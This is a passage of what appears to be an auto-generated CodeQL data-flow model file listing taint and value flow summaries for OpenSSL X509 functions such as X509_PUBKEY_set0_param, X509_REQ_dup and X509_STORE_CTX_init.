"", True, "X509_PUBKEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**algor].Field[**algorithm]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[*4]", "Argument[*0].Field[**public_key].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**algor].Field[*algorithm]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[**public_key].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_param", "(X509_PUBKEY *,ASN1_OBJECT *,int,void *,unsigned char *,int)", "", "Argument[5]", "Argument[*0].Field[**public_key].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_public_key", "(X509_PUBKEY *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**public_key].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_public_key", "(X509_PUBKEY *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**public_key].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set0_public_key", "(X509_PUBKEY *,unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**public_key].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set", "(X509_PUBKEY **,EVP_PKEY *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_PUBKEY_set", "(X509_PUBKEY **,EVP_PKEY *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "X509_PUBKEY_set", "(X509_PUBKEY **,EVP_PKEY *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "X509_PUBKEY_set", "(X509_PUBKEY **,EVP_PKEY *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0", "(int)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0_name", "(const X509_PURPOSE *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0_name", "(const X509_PURPOSE *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0_sname", "(const X509_PURPOSE *)", "", "Argument[*0].Field[**sname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get0_sname", "(const X509_PURPOSE *)", "", "Argument[*0].Field[*sname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get_by_id", "(int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get_id", "(const X509_PURPOSE *)", "", "Argument[*0].Field[*purpose]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_get_trust", "(const X509_PURPOSE *)", "", "Argument[*0].Field[*trust]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_PURPOSE_set", "(int *,int)", "", "Argument[1]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_INFO_free", "(X509_REQ_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_INFO_free", "(X509_REQ_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_add1_attr", "(X509_REQ *,X509_ATTRIBUTE *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_REQ_delete_attr", "(X509_REQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_delete_attr", "(X509_REQ *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_digest", "(const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REQ_dup", "(const X509_REQ *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_free", "(X509_REQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_free", "(X509_REQ *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_REQ_get0_distinguishing_id", "(X509_REQ *)", "", "Argument[*0].Field[**distinguishing_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get0_distinguishing_id", "(X509_REQ *)", "", "Argument[*0].Field[*distinguishing_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get0_signature", "(const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_get0_signature", "(const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_get0_signature", "(const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_get_X509_PUBKEY", "(X509_REQ *)", "", "Argument[*0].Field[*req_info].Field[**pubkey]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get_X509_PUBKEY", "(X509_REQ *)", "", "Argument[*0].Field[*req_info].Field[*pubkey]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get_attr", "(const X509_REQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_get_attr_by_NID", "(const X509_REQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_get_attr_by_OBJ", "(const X509_REQ *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_get_subject_name", "(const X509_REQ *)", "", "Argument[*0].Field[*req_info].Field[**subject]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_get_subject_name", "(const X509_REQ *)", "", "Argument[*0].Field[*req_info].Field[*subject]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_REQ_print", "(BIO *,X509_REQ *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_print_ex", "(BIO *,X509_REQ *,unsigned long,unsigned long)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set0_distinguishing_id", "(X509_REQ *,ASN1_OCTET_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**distinguishing_id]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set0_distinguishing_id", "(X509_REQ *,ASN1_OCTET_STRING *)", "", "Argument[1]", "Argument[*0].Field[*distinguishing_id]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set0_signature", "(X509_REQ *,ASN1_BIT_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**signature]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set0_signature", "(X509_REQ *,ASN1_BIT_STRING *)", "", "Argument[1]", "Argument[*0].Field[*signature]", "value", "dfc-generated"] + - ["", "", True, "X509_REQ_set1_signature_algo", "(X509_REQ *,X509_ALGOR *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_REQ_set_subject_name", "(X509_REQ *,const X509_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REQ_set_subject_name", "(X509_REQ *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_REQ_sign", "(X509_REQ *,EVP_PKEY *,const EVP_MD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REQ_sign_ctx", "(X509_REQ *,EVP_MD_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_add1_ext_i2d", "(X509_REVOKED *,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_add_ext", "(X509_REVOKED *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_add_ext", "(X509_REVOKED *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_add_ext", "(X509_REVOKED *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_delete_ext", "(X509_REVOKED *,int)", "", "Argument[1]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_delete_ext", "(X509_REVOKED *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_delete_ext", "(X509_REVOKED *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_REVOKED_dup", "(const X509_REVOKED *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_REVOKED_free", "(X509_REVOKED *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_free", "(X509_REVOKED *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_REVOKED_get0_extensions", "(const X509_REVOKED *)", "", "Argument[*0].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get0_extensions", "(const X509_REVOKED *)", "", "Argument[*0].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get0_revocationDate", "(const X509_REVOKED *)", "", "Argument[*0].Field[**revocationDate]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get0_revocationDate", "(const X509_REVOKED *)", "", "Argument[*0].Field[*revocationDate]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get0_serialNumber", "(const X509_REVOKED *)", "", "Argument[*0].Field[*serialNumber]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext", "(const X509_REVOKED *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_by_NID", "(const X509_REVOKED *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_by_OBJ", "(const X509_REVOKED *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_by_critical", "(const X509_REVOKED *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_count", "(const X509_REVOKED *)", "", "Argument[*0].Field[**extensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_REVOKED_get_ext_d2i", "(const X509_REVOKED *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509_REVOKED_set_revocationDate", "(X509_REVOKED *,ASN1_TIME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_get", "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509_SIG_INFO_set", "(X509_SIG_INFO *,int,int,int,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*mdnid]", "value", "dfc-generated"] + - ["", "", True, "X509_SIG_INFO_set", "(X509_SIG_INFO *,int,int,int,uint32_t)", "", "Argument[2]", "Argument[*0].Field[*pknid]", "value", "dfc-generated"] + - ["", "", True, "X509_SIG_INFO_set", "(X509_SIG_INFO *,int,int,int,uint32_t)", "", "Argument[3]", "Argument[*0].Field[*secbits]", "value", "dfc-generated"] + - ["", "", True, "X509_SIG_INFO_set", "(X509_SIG_INFO *,int,int,int,uint32_t)", "", "Argument[4]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "X509_SIG_free", "(X509_SIG *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "X509_SIG_free", "(X509_SIG *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "X509_SIG_get0", "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_get0", "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_get0", "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_get0", "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_getm", "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_getm", "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_getm", "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "X509_SIG_getm", "(X509_SIG *,X509_ALGOR **,ASN1_OCTET_STRING **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "X509_STORE_CTX_get0_cert", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**cert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_cert", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*cert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_chain", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**chain]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_chain", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*chain]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_current_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**current_crl]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_current_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*current_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_current_issuer", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**current_issuer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_current_issuer", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*current_issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_param", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**param]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_param", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*param]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_parent_ctx", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**parent]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_parent_ctx", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*parent]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_policy_tree", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**tree]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_policy_tree", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*tree]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_rpk", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**rpk]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_rpk", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*rpk]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_store", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_store", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_untrusted", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**untrusted]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get0_untrusted", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*untrusted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get1_chain", "(const X509_STORE_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509_STORE_CTX_get1_issuer", "(X509 **,X509_STORE_CTX *,X509 *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_cert_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*cert_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_check_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*check_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_check_issued", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*check_issued]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_check_policy", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*check_policy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_check_revocation", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*check_revocation]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_cleanup", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_current_cert", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[**current_cert]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_current_cert", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*current_cert]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_error", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*error]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_error_depth", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*error_depth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_ex_data", "(const X509_STORE_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_explicit_policy", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*explicit_policy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_get_crl", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*get_crl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_get_issuer", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*get_issuer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_lookup_certs", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*lookup_certs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_lookup_crls", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*lookup_crls]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_num_untrusted", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*num_untrusted]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_verify", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*verify]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_get_verify_cb", "(const X509_STORE_CTX *)", "", "Argument[*0].Field[*verify_cb]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[*2]", "Argument[*0].Field[**cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[*3]", "Argument[*0].Field[**untrusted]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[2]", "Argument[*0].Field[*cert]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init", "(X509_STORE_CTX *,X509_STORE *,X509 *,stack_st_X509 *)", "", "Argument[3]", "Argument[*0].Field[*untrusted]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init_rpk", "(X509_STORE_CTX *,X509_STORE *,EVP_PKEY *)", "", "Argument[*2]", "Argument[*0].Field[**rpk]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init_rpk", "(X509_STORE_CTX *,X509_STORE *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_init_rpk", "(X509_STORE_CTX *,X509_STORE *,EVP_PKEY *)", "", "Argument[2]", "Argument[*0].Field[*rpk]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_print_verify_cb", "(int,X509_STORE_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_purpose_inherit", "(X509_STORE_CTX *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_purpose_inherit", "(X509_STORE_CTX *,int,int,int)", "", "Argument[2]", "Argument[*0].Field[**param].Field[*purpose]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_purpose_inherit", "(X509_STORE_CTX *,int,int,int)", "", "Argument[3]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_crls", "(X509_STORE_CTX *,stack_st_X509_CRL *)", "", "Argument[*1]", "Argument[*0].Field[**crls]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_crls", "(X509_STORE_CTX *,stack_st_X509_CRL *)", "", "Argument[1]", "Argument[*0].Field[*crls]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_dane", "(X509_STORE_CTX *,SSL_DANE *)", "", "Argument[*1]", "Argument[*0].Field[**dane]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_dane", "(X509_STORE_CTX *,SSL_DANE *)", "", "Argument[1]", "Argument[*0].Field[*dane]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_param", "(X509_STORE_CTX *,X509_VERIFY_PARAM *)", "", "Argument[*1]", "Argument[*0].Field[**param]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_param", "(X509_STORE_CTX *,X509_VERIFY_PARAM *)", "", "Argument[1]", "Argument[*0].Field[*param]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_rpk", "(X509_STORE_CTX *,EVP_PKEY *)", "", "Argument[*1]", "Argument[*0].Field[**rpk]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_rpk", "(X509_STORE_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*rpk]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_trusted_stack", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**other_ctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_trusted_stack", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*other_ctx]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_untrusted", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**untrusted]", "value", "dfc-generated"] + - ["", "", True, "X509_STORE_CTX_set0_untrusted", "(X509_STORE_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*untrusted]", "value", 